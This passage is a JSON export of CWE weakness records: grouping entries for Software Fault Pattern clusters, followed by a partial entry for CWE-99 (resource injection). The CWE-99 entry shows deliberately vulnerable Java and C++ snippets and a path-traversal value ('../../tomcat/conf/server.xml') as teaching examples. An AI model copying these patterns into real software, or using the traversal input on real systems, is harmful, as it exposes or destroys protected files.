{"data": [{"@ID": "998", "@Name": "SFP Secondary Cluster: Glitch in Computation", "@Status": "Incomplete", "Summary": "This category identifies Software Fault Patterns (SFPs) within the Glitch in Computation cluster (SFP1).", "Relationships": {"Has_Member": [{"@CWE_ID": "128", "@View_ID": "888"}, {"@CWE_ID": "190", "@View_ID": "888"}, {"@CWE_ID": "191", "@View_ID": "888"}, {"@CWE_ID": "194", "@View_ID": "888"}, {"@CWE_ID": "195", "@View_ID": "888"}, {"@CWE_ID": "196", "@View_ID": "888"}, {"@CWE_ID": "197", "@View_ID": "888"}, {"@CWE_ID": "369", "@View_ID": "888"}, {"@CWE_ID": "456", "@View_ID": "888"}, {"@CWE_ID": "457", "@View_ID": "888"}, {"@CWE_ID": "466", "@View_ID": "888"}, {"@CWE_ID": "468", "@View_ID": "888"}, {"@CWE_ID": "475", "@View_ID": "888"}, {"@CWE_ID": "480", "@View_ID": "888"}, {"@CWE_ID": "481", "@View_ID": "888"}, {"@CWE_ID": "486", "@View_ID": "888"}, {"@CWE_ID": "562", "@View_ID": "888"}, {"@CWE_ID": "570", "@View_ID": "888"}, {"@CWE_ID": "571", "@View_ID": "888"}, {"@CWE_ID": "579", "@View_ID": "888"}, {"@CWE_ID": "587", "@View_ID": "888"}, {"@CWE_ID": "594", "@View_ID": "888"}, {"@CWE_ID": "597", "@View_ID": "888"}, {"@CWE_ID": "628", "@View_ID": "888"}, {"@CWE_ID": "681", "@View_ID": "888"}, {"@CWE_ID": "683", "@View_ID": "888"}, {"@CWE_ID": "685", "@View_ID": "888"}, {"@CWE_ID": "686", "@View_ID": "888"}, {"@CWE_ID": "688", "@View_ID": "888"}, {"@CWE_ID": "704", "@View_ID": "888"}, {"@CWE_ID": "768", "@View_ID": "888"}]}, "Mapping_Notes": {"Usage": "Prohibited", "Rationale": "This entry is a Grouping. Using groupings for mapping has been discouraged since 2019. They are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.", "Comments": "See member weaknesses of this category.", "Reasons": {"Reason": {"@Type": "Grouping"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2014-07-29", "Submission_Version": "2.8", "Submission_ReleaseDate": "2014-07-31"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-02-24", "Modification_Version": "4.0", "Modification_ReleaseDate": "2020-02-24", "Modification_Comment": "updated Description, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2021-03-15", "Modification_Version": "4.4", "Modification_ReleaseDate": "2021-03-15", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2022-10-13", "Modification_Version": "4.9", "Modification_ReleaseDate": "2022-10-13", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Mapping_Notes, Type"}]}, "entry_type": "Grouping", "ranking": null}, {"@ID": "997", "@Name": "SFP Secondary Cluster: Information Loss", "@Status": "Incomplete", "Summary": "This category identifies Software Fault Patterns (SFPs) within the Information Loss cluster.", "Relationships": {"Has_Member": [{"@CWE_ID": "221", "@View_ID": "888"}, {"@CWE_ID": "222", "@View_ID": "888"}, {"@CWE_ID": "223", "@View_ID": "888"}, {"@CWE_ID": "224", "@View_ID": "888"}]}, "Mapping_Notes": {"Usage": "Prohibited", "Rationale": "This entry is a Grouping. Using groupings for mapping has been discouraged since 2019. They are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.", "Comments": "See member weaknesses of this category.", "Reasons": {"Reason": {"@Type": "Grouping"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2014-07-29", "Submission_Version": "2.8", "Submission_ReleaseDate": "2014-07-31"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Mapping_Notes, Type"}]}, "entry_type": "Grouping", "ranking": null}, {"@ID": "996", "@Name": "SFP Secondary Cluster: Security", "@Status": "Incomplete", "Summary": "This category identifies Software Fault Patterns (SFPs) within the Security cluster.", "Relationships": {"Has_Member": [{"@CWE_ID": "356", "@View_ID": "888"}, {"@CWE_ID": "357", "@View_ID": "888"}, {"@CWE_ID": "446", "@View_ID": "888"}]}, "Mapping_Notes": {"Usage": "Prohibited", "Rationale": "This entry is a Grouping. Using groupings for mapping has been discouraged since 2019. They are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.", "Comments": "See member weaknesses of this category.", "Reasons": {"Reason": {"@Type": "Grouping"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2014-07-29", "Submission_Version": "2.8", "Submission_ReleaseDate": "2014-07-31"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Mapping_Notes, Type"}]}, "entry_type": "Grouping", "ranking": null}, {"@ID": "995", "@Name": "SFP Secondary Cluster: Feature", "@Status": "Incomplete", "Summary": "This category identifies Software Fault Patterns (SFPs) within the Feature cluster.", "Relationships": {"Has_Member": [{"@CWE_ID": "447", "@View_ID": "888"}, {"@CWE_ID": "448", "@View_ID": "888"}, {"@CWE_ID": "449", "@View_ID": "888"}, {"@CWE_ID": "450", "@View_ID": "888"}, {"@CWE_ID": "451", "@View_ID": "888"}, {"@CWE_ID": "549", "@View_ID": "888"}, {"@CWE_ID": "655", "@View_ID": "888"}]}, "Mapping_Notes": {"Usage": "Prohibited", "Rationale": "This entry is a Grouping. Using groupings for mapping has been discouraged since 2019. They are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.", "Comments": "See member weaknesses of this category.", "Reasons": {"Reason": {"@Type": "Grouping"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2014-07-29", "Submission_Version": "2.8", "Submission_ReleaseDate": "2014-07-31"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Mapping_Notes, Type"}]}, "entry_type": "Grouping", "ranking": null}, {"@ID": "994", "@Name": "SFP Secondary Cluster: Tainted Input to Variable", "@Status": "Incomplete", "Summary": "This category identifies Software Fault Patterns (SFPs) within the Tainted Input to Variable cluster (SFP25).", "Relationships": {"Has_Member": [{"@CWE_ID": "15", "@View_ID": "888"}, {"@CWE_ID": "20", "@View_ID": "888"}, {"@CWE_ID": "454", "@View_ID": "888"}, {"@CWE_ID": "496", "@View_ID": "888"}, {"@CWE_ID": "502", "@View_ID": "888"}, {"@CWE_ID": "566", "@View_ID": "888"}, {"@CWE_ID": "606", "@View_ID": "888"}, {"@CWE_ID": "616", "@View_ID": "888"}]}, "Mapping_Notes": {"Usage": "Prohibited", "Rationale": "This entry is a Grouping. Using groupings for mapping has been discouraged since 2019. They are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.", "Comments": "See member weaknesses of this category.", "Reasons": {"Reason": {"@Type": "Grouping"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2014-07-29", "Submission_Version": "2.8", "Submission_ReleaseDate": "2014-07-31"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-02-24", "Modification_Version": "4.0", "Modification_ReleaseDate": "2020-02-24", "Modification_Comment": "updated Description"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Mapping_Notes, Type"}]}, "entry_type": "Grouping", "ranking": null}, {"@ID": "993", "@Name": "SFP Secondary Cluster: Incorrect Input Handling", "@Status": "Incomplete", "Summary": "This category identifies Software Fault Patterns (SFPs) within the Incorrect Input Handling cluster.", "Relationships": {"Has_Member": [{"@CWE_ID": "198", "@View_ID": "888"}, {"@CWE_ID": "228", "@View_ID": "888"}, {"@CWE_ID": "229", "@View_ID": "888"}, {"@CWE_ID": "230", "@View_ID": "888"}, {"@CWE_ID": "231", "@View_ID": "888"}, {"@CWE_ID": "232", "@View_ID": "888"}, {"@CWE_ID": "233", "@View_ID": "888"}, {"@CWE_ID": "234", "@View_ID": "888"}, {"@CWE_ID": "235", "@View_ID": "888"}, {"@CWE_ID": "236", "@View_ID": "888"}, {"@CWE_ID": "237", "@View_ID": "888"}, {"@CWE_ID": "238", "@View_ID": "888"}, {"@CWE_ID": "239", "@View_ID": "888"}, {"@CWE_ID": "240", "@View_ID": "888"}, {"@CWE_ID": "241", "@View_ID": "888"}, {"@CWE_ID": "351", "@View_ID": "888"}, {"@CWE_ID": "354", "@View_ID": "888"}]}, "Mapping_Notes": {"Usage": "Prohibited", "Rationale": "This entry is a Grouping. Using groupings for mapping has been discouraged since 2019. They are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.", "Comments": "See member weaknesses of this category.", "Reasons": {"Reason": {"@Type": "Grouping"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2014-07-29", "Submission_Version": "2.8", "Submission_ReleaseDate": "2014-07-31"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Mapping_Notes, Type"}]}, "entry_type": "Grouping", "ranking": null}, {"@ID": "992", "@Name": "SFP Secondary Cluster: Faulty Input Transformation", "@Status": "Incomplete", "Summary": "This category identifies Software Fault Patterns (SFPs) within the Faulty Input Transformation cluster.", "Relationships": {"Has_Member": [{"@CWE_ID": "116", "@View_ID": "888"}, {"@CWE_ID": "166", "@View_ID": "888"}, {"@CWE_ID": "167", "@View_ID": "888"}, {"@CWE_ID": "168", "@View_ID": "888"}, {"@CWE_ID": "172", "@View_ID": "888"}, {"@CWE_ID": "173", "@View_ID": "888"}, {"@CWE_ID": "174", "@View_ID": "888"}, {"@CWE_ID": "175", "@View_ID": "888"}, {"@CWE_ID": "176", "@View_ID": "888"}, {"@CWE_ID": "177", "@View_ID": "888"}, {"@CWE_ID": "178", "@View_ID": "888"}, {"@CWE_ID": "179", "@View_ID": "888"}, {"@CWE_ID": "180", "@View_ID": "888"}, {"@CWE_ID": "181", "@View_ID": "888"}, {"@CWE_ID": "182", "@View_ID": "888"}]}, "Mapping_Notes": {"Usage": "Prohibited", "Rationale": "This entry is a Grouping. Using groupings for mapping has been discouraged since 2019. They are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.", "Comments": "See member weaknesses of this category.", "Reasons": {"Reason": {"@Type": "Grouping"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2014-07-29", "Submission_Version": "2.8", "Submission_ReleaseDate": "2014-07-31"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Mapping_Notes, Type"}]}, "entry_type": "Grouping", "ranking": null}, {"@ID": "991", "@Name": "SFP Secondary Cluster: Tainted Input to Environment", "@Status": "Incomplete", "Summary": "This category identifies Software Fault Patterns (SFPs) within the Tainted Input to Environment cluster (SFP27).", "Relationships": {"Has_Member": [{"@CWE_ID": "114", "@View_ID": "888"}, {"@CWE_ID": "427", "@View_ID": "888"}, {"@CWE_ID": "470", "@View_ID": "888"}, {"@CWE_ID": "471", "@View_ID": "888"}, {"@CWE_ID": "472", "@View_ID": "888"}, {"@CWE_ID": "473", "@View_ID": "888"}, {"@CWE_ID": "494", "@View_ID": "888"}, {"@CWE_ID": "622", "@View_ID": "888"}, {"@CWE_ID": "673", "@View_ID": "888"}, {"@CWE_ID": "94", "@View_ID": "888"}]}, "Mapping_Notes": {"Usage": "Prohibited", "Rationale": "This entry is a Grouping. Using groupings for mapping has been discouraged since 2019. They are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.", "Comments": "See member weaknesses of this category.", "Reasons": {"Reason": {"@Type": "Grouping"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2014-07-29", "Submission_Version": "2.8", "Submission_ReleaseDate": "2014-07-31"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2017-05-03", "Modification_Version": "2.11", "Modification_ReleaseDate": "2017-05-05", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-02-24", "Modification_Version": "4.0", "Modification_ReleaseDate": "2020-02-24", "Modification_Comment": "updated Description"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Mapping_Notes, Type"}]}, "entry_type": "Grouping", "ranking": null}, {"@ID": "990", "@Name": "SFP Secondary Cluster: Tainted Input to Command", "@Status": "Incomplete", "Summary": "This category identifies Software Fault Patterns (SFPs) within the Tainted Input to Command cluster (SFP24).", "Relationships": {"Has_Member": [{"@CWE_ID": "102", "@View_ID": "888"}, {"@CWE_ID": "103", "@View_ID": "888"}, {"@CWE_ID": "104", "@View_ID": "888"}, {"@CWE_ID": "105", "@View_ID": "888"}, {"@CWE_ID": "106", "@View_ID": "888"}, {"@CWE_ID": "107", "@View_ID": "888"}, {"@CWE_ID": "108", "@View_ID": "888"}, {"@CWE_ID": "109", "@View_ID": "888"}, {"@CWE_ID": "110", "@View_ID": "888"}, {"@CWE_ID": "112", "@View_ID": "888"}, {"@CWE_ID": "113", "@View_ID": "888"}, {"@CWE_ID": "130", "@View_ID": "888"}, {"@CWE_ID": "134", "@View_ID": "888"}, {"@CWE_ID": "138", "@View_ID": "888"}, {"@CWE_ID": "140", "@View_ID": "888"}, {"@CWE_ID": "141", "@View_ID": "888"}, {"@CWE_ID": "142", "@View_ID": "888"}, {"@CWE_ID": "143", "@View_ID": "888"}, {"@CWE_ID": "144", "@View_ID": "888"}, {"@CWE_ID": "145", "@View_ID": "888"}, {"@CWE_ID": "146", "@View_ID": "888"}, {"@CWE_ID": "147", "@View_ID": "888"}, {"@CWE_ID": "148", "@View_ID": "888"}, {"@CWE_ID": "149", "@View_ID": "888"}, {"@CWE_ID": "150", "@View_ID": "888"}, {"@CWE_ID": "151", "@View_ID": "888"}, {"@CWE_ID": "152", "@View_ID": "888"}, {"@CWE_ID": "153", "@View_ID": "888"}, {"@CWE_ID": "154", "@View_ID": "888"}, {"@CWE_ID": "155", "@View_ID": "888"}, {"@CWE_ID": "156", "@View_ID": "888"}, {"@CWE_ID": "157", "@View_ID": "888"}, {"@CWE_ID": "158", "@View_ID": "888"}, {"@CWE_ID": "159", "@View_ID": "888"}, {"@CWE_ID": "160", "@View_ID": "888"}, {"@CWE_ID": "161", "@View_ID": "888"}, {"@CWE_ID": "162", "@View_ID": "888"}, {"@CWE_ID": "163", "@View_ID": "888"}, {"@CWE_ID": "164", "@View_ID": "888"}, {"@CWE_ID": "165", "@View_ID": "888"}, {"@CWE_ID": "183", "@View_ID": "888"}, {"@CWE_ID": "184", "@View_ID": "888"}, {"@CWE_ID": "185", "@View_ID": "888"}, {"@CWE_ID": "186", "@View_ID": "888"}, {"@CWE_ID": "444", "@View_ID": "888"}, {"@CWE_ID": "553", "@View_ID": "888"}, {"@CWE_ID": "554", "@View_ID": "888"}, {"@CWE_ID": "564", "@View_ID": "888"}, {"@CWE_ID": "601", "@View_ID": "888"}, {"@CWE_ID": "611", "@View_ID": "888"}, {"@CWE_ID": "619", "@View_ID": "888"}, {"@CWE_ID": "621", "@View_ID": "888"}, {"@CWE_ID": "624", "@View_ID": "888"}, {"@CWE_ID": "625", "@View_ID": "888"}, {"@CWE_ID": "626", "@View_ID": "888"}, {"@CWE_ID": "627", "@View_ID": "888"}, {"@CWE_ID": "641", "@View_ID": "888"}, {"@CWE_ID": "643", "@View_ID": "888"}, {"@CWE_ID": "644", "@View_ID": "888"}, {"@CWE_ID": "646", "@View_ID": "888"}, {"@CWE_ID": "652", "@View_ID": "888"}, {"@CWE_ID": "687", "@View_ID": "888"}, {"@CWE_ID": "707", "@View_ID": "888"}, {"@CWE_ID": "74", "@View_ID": "888"}, {"@CWE_ID": "75", "@View_ID": "888"}, {"@CWE_ID": "76", "@View_ID": "888"}, {"@CWE_ID": "77", "@View_ID": "888"}, {"@CWE_ID": "78", "@View_ID": "888"}, {"@CWE_ID": "79", "@View_ID": "888"}, {"@CWE_ID": "80", "@View_ID": "888"}, {"@CWE_ID": "81", "@View_ID": "888"}, {"@CWE_ID": "82", "@View_ID": "888"}, {"@CWE_ID": "83", "@View_ID": "888"}, {"@CWE_ID": "84", "@View_ID": "888"}, {"@CWE_ID": "85", "@View_ID": "888"}, {"@CWE_ID": "86", "@View_ID": "888"}, {"@CWE_ID": "87", "@View_ID": "888"}, {"@CWE_ID": "88", "@View_ID": "888"}, {"@CWE_ID": "89", "@View_ID": "888"}, {"@CWE_ID": "90", "@View_ID": "888"}, {"@CWE_ID": "91", "@View_ID": "888"}, {"@CWE_ID": "93", "@View_ID": "888"}, {"@CWE_ID": "95", "@View_ID": "888"}, {"@CWE_ID": "96", "@View_ID": "888"}, {"@CWE_ID": "97", "@View_ID": "888"}, {"@CWE_ID": "99", "@View_ID": "888"}]}, "Mapping_Notes": {"Usage": "Prohibited", "Rationale": "This entry is a Grouping. Using groupings for mapping has been discouraged since 2019. They are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.", "Comments": "See member weaknesses of this category.", "Reasons": {"Reason": {"@Type": "Grouping"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2014-07-29", "Submission_Version": "2.8", "Submission_ReleaseDate": "2014-07-31"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2017-11-08", "Modification_Version": "3.0", "Modification_ReleaseDate": "2017-11-08", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-02-24", "Modification_Version": "4.0", "Modification_ReleaseDate": "2020-02-24", "Modification_Comment": "updated Description, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2022-10-13", "Modification_Version": "4.9", "Modification_ReleaseDate": "2022-10-13", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Mapping_Notes, Type"}]}, "entry_type": "Grouping", "ranking": null}, {"@ID": "99", "@Name": "Improper Control of Resource Identifiers", "@Abstraction": "Class", "@Structure": "Simple", "@Status": "Draft", "Description": "The product receives input from an upstream component, but it does not restrict or incorrectly restricts the input before it is used as an identifier for a resource that may be outside the intended control sphere.", "Related_Weaknesses": {"Related_Weakness": [{"@Nature": "ChildOf", "@CWE_ID": "74", "@View_ID": "1000", "@Ordinal": "Primary"}, {"@Nature": "PeerOf", "@CWE_ID": "706", "@View_ID": "1000"}, {"@Nature": "CanAlsoBe", "@CWE_ID": "73", "@View_ID": "1000"}]}, "Weakness_Ordinalities": {"Weakness_Ordinality": {"Ordinality": "Primary"}}, "Applicable_Platforms": {"Language": {"@Class": "Not Language-Specific", "@Prevalence": "Undetermined"}}, "Alternate_Terms": {"Alternate_Term": [{"Term": "Insecure Direct Object Reference", "Description": "OWASP uses this term, although it is effectively the same as resource injection."}, {"Term": "Resource Injection", "Role": ["Common-Name", "Attack-Focused"]}]}, "Modes_Of_Introduction": {"Introduction": [{"Phase": "Architecture and Design"}, {"Phase": "Implementation", "Note": {"xhtml:p": ["A resource injection issue occurs when the following two conditions are met:", "This may enable an attacker to access or modify otherwise protected system resources."], "xhtml:ol": {"xhtml:li": ["An attacker can specify the identifier used to access a system resource. For example, an attacker might be able to specify part of the name of a file to be opened or a port number to be used.", "By specifying the resource, the attacker gains a capability that would not otherwise be permitted. For example, the program may give the attacker the ability to overwrite the specified file, run with a configuration controlled by the attacker, or transmit sensitive information to a third-party server."]}, "#text_blocks": ["A resource injection issue occurs when the following two conditions are met:", "An attacker can specify the identifier used to access a system resource. For example, an attacker might be able to specify part of the name of a file to be opened or a port number to be used.", "By specifying the resource, the attacker gains a capability that would not otherwise be permitted. For example, the program may give the attacker the ability to overwrite the specified file, run with a configuration controlled by the attacker, or transmit sensitive information to a third-party server.", "This may enable an attacker to access or modify otherwise protected system resources."]}}, {"Phase": "Implementation", "Note": "REALIZATION: This weakness is caused during implementation of an architectural security tactic."}]}, "Likelihood_Of_Exploit": "High", "Common_Consequences": {"Consequence": {"Scope": ["Confidentiality", "Integrity"], "Impact": ["Read Application Data", "Modify Application Data", "Read Files or Directories", "Modify Files or Directories"], "Note": "An attacker could gain access to or modify sensitive data or system resources. This could allow access to protected files or directories including configuration files and files containing sensitive information."}}, "Detection_Methods": {"Detection_Method": {"@Detection_Method_ID": "DM-14", "Method": "Automated Static Analysis", "Description": "Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect \"sources\" (origins of input) with \"sinks\" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)", "Effectiveness": "High"}}, "Potential_Mitigations": {"Mitigation": [{"@Mitigation_ID": "MIT-5", "Phase": "Implementation", "Strategy": "Input Validation", "Description": ["Assume all input is malicious. Use an \"accept known good\" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.", "When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, \"boat\" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as \"red\" or \"blue.\"", "Do not rely exclusively on looking for malicious or malformed inputs.  This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, it can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright."]}]}, "Demonstrative_Examples": {"Demonstrative_Example": [{"Intro_Text": "The following Java code uses input from an HTTP request to create a file name. The programmer has not considered the possibility that an attacker could provide a file name such as \"../../tomcat/conf/server.xml\", which causes the application to delete one of its own configuration files.", "Example_Code": {"@Nature": "Bad", "@Language": "Java", "xhtml:div": {"xhtml:br": [null, null, null], "#text": "String rName = request.getParameter(\"reportName\");File rFile = new File(\"/usr/local/apfr/reports/\" + rName);...rFile.delete();"}, "#text_blocks": ["String rName = request.getParameter(\"reportName\");", "File rFile = new File(\"/usr/local/apfr/reports/\" + rName);", "...", "rFile.delete();"]}}, {"Intro_Text": "The following code uses input from the command line to determine which file to open and echo back to the user. If the program runs with privileges and malicious users can create soft links to the file, they can use the program to read the first part of any file on the system.", "Example_Code": {"@Nature": "Bad", "@Language": "C++", "xhtml:div": {"xhtml:br": [null, null, null], "#text": "ifstream ifs(argv[0]);string s;ifs >> s;cout << s;"}, "#text_blocks": ["ifstream ifs(argv[0]);", "string s;", "ifs >> s;", "cout << s;"]}, "Body_Text": "The kind of resource the data affects indicates the kind of content that may be dangerous. For example, data containing special characters like period, slash, and backslash, are risky when used in methods that interact with the file system. (Resource injection, when it is related to file system resources, sometimes goes by the name \"path manipulation.\") Similarly, data that contains URLs and URIs is risky for functions that create remote connections."}]}, "Observed_Examples": {"Observed_Example": {"Reference": "CVE-2013-4787", "Description": "Chain: mobile OS verifies cryptographic signature of file in an archive, but then installs a different file with the same name that is also listed in the archive.", "Link": "https://www.cve.org/CVERecord?id=CVE-2013-4787"}}, "Taxonomy_Mappings": {"Taxonomy_Mapping": [{"@Taxonomy_Name": "7 Pernicious Kingdoms", "Entry_Name": "Resource Injection"}, {"@Taxonomy_Name": "Software Fault Patterns", "Entry_ID": "SFP24", "Entry_Name": "Tainted input to command"}, {"@Taxonomy_Name": "OMG ASCSM", "Entry_ID": "ASCSM-CWE-99"}]}, "Related_Attack_Patterns": {"Related_Attack_Pattern": [{"@CAPEC_ID": "10"}, {"@CAPEC_ID": "240"}, {"@CAPEC_ID": "75"}]}, "References": {"Reference": [{"@External_Reference_ID": "REF-6"}, {"@External_Reference_ID": "REF-962", "@Section": "ASCSM-CWE-99"}, {"@External_Reference_ID": "REF-1534"}]}, "Mapping_Notes": {"Usage": "Allowed-with-Review", "Rationale": "This CWE entry is a Class and might have Base-level children that would be more appropriate", "Comments": "Examine children of this entry to see if there is a better fit", "Reasons": {"Reason": {"@Type": "Abstraction"}}}, "Notes": {"Note": [{"@Type": "Relationship", "#text": "Resource injection that involves resources stored on the filesystem goes by the name path manipulation (CWE-73)."}, {"@Type": "Maintenance", "#text": "The 